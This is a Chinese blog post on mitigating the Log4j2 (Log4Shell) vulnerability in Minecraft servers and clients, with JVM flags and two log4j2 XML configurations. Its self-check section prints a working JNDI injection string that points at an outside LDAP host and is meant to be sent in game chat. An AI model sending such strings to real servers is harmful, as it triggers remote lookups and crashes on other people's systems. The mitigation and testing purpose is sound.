紧急!Minecraft服务器、客户端的Log4j2漏洞修复

情况简述

昨日,Apache Log4j爆出重大漏洞,攻击者只要使目标系统产生特定的日志即可实现代码注入,即:使目标系统执行指定代码。

Minecraft服务器端,包括Forge、官方端等服务端,以及非官方的或旧版的客户端全线受到影响。

详细信息以及具体的修复方式,参见:https://www.mcbbs.net/thread-1283097-1-1.html

漏洞自查

要检查自己的服务端/客户端是否受到影响,请进入游戏,从客户端向服务端发送以下聊天信息(尽量把这里面的网址随便改改,小心瞎猫撞上死耗子):


${jndi:ldap://miaomiaomiao.com/dsadasdadweqddfdczxcxcawdeqqfwsefs}

如果你的客户端崩溃了,恭喜你,你的客户端受到影响

如果你的服务端崩溃了,恭喜你,你的服务端受到影响

对于没有修复的客户端、服务端,大概率两者一起崩溃

漏洞自纠

请分别对服务端、客户端作以下修改,修改后请按【漏洞自查】中的思路验证漏洞是否仍然存在

服务端

对于1.7-1.11.2的Minecraft版本,在java虚拟机启动参数中添加:


-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true -Dlog4j.configurationFile=log4j2_17-111.xml

并将文末所附的log4j2_17-111.xml放到服务端所在的文件夹中

对于1.12-1.16.5的Minecraft版本,在java虚拟机启动参数中添加:


-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true -Dlog4j.configurationFile=log4j2_112-116.xml

并将文末所附的log4j2_112-116.xml放到服务端所在的文件夹中

对于1.17的Minecraft版本,在java虚拟机启动参数中添加:


-Dlog4j2.formatMsgNoLookups=true

对于1.18的Minecraft版本,请升级到1.18.1或遵循1.17的修复方法

客户端

以我自己的经验来说,以HMCL为例,在全局版本设置中,将Java虚拟机参数修改为:

-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true

即可(与服务器修复方法基本相同)

如果这些不行的话,请尝试服务器修复方法中的其他参数

log4j2_17-111.xml


<?xml version="1.0" encoding="UTF-8"?>

<Configuration status="WARN" packages="com.mojang.util">

    <Appenders>

        <Console name="SysOut" target="SYSTEM_OUT">

            <PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg%n" />

        </Console>

        <Queue name="ServerGuiConsole">

            <PatternLayout pattern="[%d{HH:mm:ss} %level]: %msg%n" />

        </Queue>

        <RollingRandomAccessFile name="File" fileName="logs/latest.log" filePattern="logs/%d{yyyy-MM-dd}-%i.log.gz">

            <PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg%n" />

            <Policies>

                <TimeBasedTriggeringPolicy />

                <OnStartupTriggeringPolicy />

            </Policies>

        </RollingRandomAccessFile>

    </Appenders>

    <Loggers>

        <Root level="info">

            <filters>

                <MarkerFilter marker="NETWORK_PACKETS" onMatch="DENY" onMismatch="NEUTRAL" />

                <RegexFilter regex=".*\$\{[^}]*\}.*" onMatch="DENY" onMismatch="NEUTRAL"/>

            </filters>

            <AppenderRef ref="SysOut"/>

            <AppenderRef ref="File"/>

            <AppenderRef ref="ServerGuiConsole"/>

        </Root>

    </Loggers>

</Configuration>

log4j2_112-116.xml


<?xml version="1.0" encoding="UTF-8"?>

<Configuration status="WARN">

    <Appenders>

        <Console name="SysOut" target="SYSTEM_OUT">

            <PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg{nolookups}%n" />

        </Console>

        <Queue name="ServerGuiConsole">

            <PatternLayout pattern="[%d{HH:mm:ss} %level]: %msg{nolookups}%n" />

        </Queue>

        <RollingRandomAccessFile name="File" fileName="logs/latest.log" filePattern="logs/%d{yyyy-MM-dd}-%i.log.gz">

            <PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg{nolookups}%n" />

            <Policies>

                <TimeBasedTriggeringPolicy />

                <OnStartupTriggeringPolicy />

            </Policies>

        </RollingRandomAccessFile>

    </Appenders>

    <Loggers>

        <Root level="info">

            <filters>

                <MarkerFilter marker="NETWORK_PACKETS" onMatch="DENY" onMismatch="NEUTRAL" />

            </filters>

            <AppenderRef ref="SysOut"/>

            <AppenderRef ref="File"/>

            <AppenderRef ref="ServerGuiConsole"/>

        </Root>

    </Loggers>

</Configuration>

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容